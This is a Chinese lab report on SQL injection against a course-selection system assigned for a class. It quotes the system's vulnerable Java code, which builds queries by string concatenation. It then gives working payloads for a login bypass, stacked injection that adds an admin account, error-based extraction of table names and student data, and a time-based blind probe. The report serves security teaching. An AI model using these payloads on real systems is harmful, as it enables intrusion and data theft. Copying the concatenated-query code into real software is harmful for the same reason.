前言
本次实验利用教师指定的学生选课管理系统进行SQL注入,包含万能密码登录、堆叠注入、报错注入和时间盲注。
一、实验环境
Windows10虚拟机、SQL SERVER 2008 R2、Java 8、Java 学生选课管理系统。(SQL SERVER 2008与Java 8的安装配置方法可自行搜索)
二、实验步骤
1.万能密码
选课管理系统中有关登录的代码如下:
String loginQuery;
String loginUserName = myTextField.getText();
String loginPassword = new String(passwordField.getPassword());
if(myTextField.getText().equals("")) {
JOptionPane.showMessageDialog(LoginFrame.this,"用户名必须为字母、数字和、汉字\n及其组合,不允许为空格键。","登陆",JOptionPane.WARNING_MESSAGE);
return;
}
if(selectedItem.equals("教师"))
loginQuery="SELECT * FROM 教师表 WHERE(登陆帐号='"+loginUserName+"' AND 登陆密码 ='"+loginPassword+"')";
else if(selectedItem.equals("管理员"))
loginQuery="SELECT * FROM 管理员 WHERE(用户名='"+loginUserName+"' AND 密码 ='"+loginPassword+"')";
else //(selectedItem.equals("学生"))
loginQuery="SELECT * FROM 学生基本信息表 WHERE(学号='"+loginUserName+"' AND 密码 ='"+loginPassword+"')";
loginStatement=loginConnection.createStatement();
System.out.println(loginQuery);
loginResultSet=loginStatement.executeQuery(loginQuery);
boolean Records=loginResultSet.next();
if(!Records) {
JOptionPane.showMessageDialog(LoginFrame.this,"没有此用户或密码错误");
return;
} else {
login=1;
}
loginConnection.close();
其中前半段代码的作用是构造SQL查询语句,利用账号和密码查询数据库中是否存在这个用户并返回结果(值为true或false);在后半段代码中我们可以看到若SQL查询返回的结果Records为真,则登录系统,否则提示没有此用户或密码错误。
这里可以利用万能密码,使查询结果永远为真,从而绕过身份验证登陆系统:
admin') or 1=1--+
此时不难看出系统的内部查询语句类似:
SELECT * FROM 学生基本信息表 WHERE (学号='admin') or 1=1--+' AND 密码='');
其中')用于闭合前面的查询语句,再利用or 1=1使得查询结果永远为真。
如图在登录框中输入万能密码后即可登陆系统
2.堆叠注入
在进入系统后,发现在选课申请模块中存在可控制的变量,尝试进行堆叠注入,即在一次正常的SQL查询后加上分号结束此查询语句并进行其他操作。
选课申请模块界面如下:
其中有关此功能的代码如下:
// 选课申请界面监听
if(selected == 2) {
String commodityquery = "SELECT * FROM 课程信息表 WHERE 课程号=" + courseNumTextField.getText() + "";
// 调用申请课程方法
appendInfo(commodityquery);
// 申请课程方法部分代码
String insertInput = "INSERT INTO 成绩表 VALUES('" + LoginFrame.myTextField.getText() + "','" + courseNumTextField.getText() + "'," + null + ")";
stmt = con.createStatement();
ResultSet queryresultSet = stmt.executeQuery( commodityquery );
boolean moreRecords = queryresultSet.next();
if ( !moreRecords ) {
JOptionPane.showMessageDialog(StudentPanel.this,"对不起,此课程没有开课,请重新输入" );
return;
}
int insert = stmt.executeUpdate( insertInput );//executeUpdate返回一个整型值
if (insert == 1) {
JOptionPane.showMessageDialog(StudentPanel.this,"选课申请成功!" );
}
构造payload如下:
001;INSERT INTO 管理员 VALUES('test','test');--+
不难理解,此时的查询语句为:
SELECT * FROM 课程信息表 where 课程号=001;INSERT INTO 管理员 VALUES('test','test');--+
即系统在查询课程信息后会执行第二个SQL语句,向管理员表中插入一个管理员账号。
执行后会爆出以上错误,此时管理员账号插入成功。
3.报错注入
在这里我利用了convert函数进行报错注入,在系统登陆页面即可进行操作,构造payload如下:
001') and 1=convert(int,(select top 1 db_name()));--+
此时内部查询语句为:
SELECT * FROM 学生基本信息表 WHERE (学号='001' and 1=convert(int,(select top 1 db_name()));--+' AND 密码='');
执行查询后就会爆出错误
这里可以看到数据库名:学生选课管理系统
同理可以爆出其他信息,如下:
001') and 1=convert(int,(select top 1 name from 学生选课管理系统.sys.sysobjects where xtype='U'));--+
001') and 1=convert(int,(select top 1 name from 学生选课管理系统.sys.sysobjects where xtype='U' and name !='教师表'));--+
// 余下同理可依次爆出数据库表名称为 教师表、管理员、学生基本信息表、课程表成绩表
001') and 1=convert(int,(select top 1 name from 学生选课管理系统.sys.syscolumns where id=OBJECT_ID('学生基本信息表')));--+
// 余下同理可爆出所有列名,结果分别为 学号、姓名、性别、专业、生日、身高、密码
001') and 1=convert(int,(select top 1 学号 from 学生基本信息表 where 学号!=001));--+
// 余下同理,可爆出学生的所有信息
4.时间盲注
在系统登陆页面即可检测是否存在时间盲注的注入点,构造payload如下:
001') waitfor delay '0:0:5';--+
执行语句后发现有明显的5秒时延,说明存在时间盲注注入点。此时可以进行时间盲注,对信息进行猜解,具体方法可以自行搜索。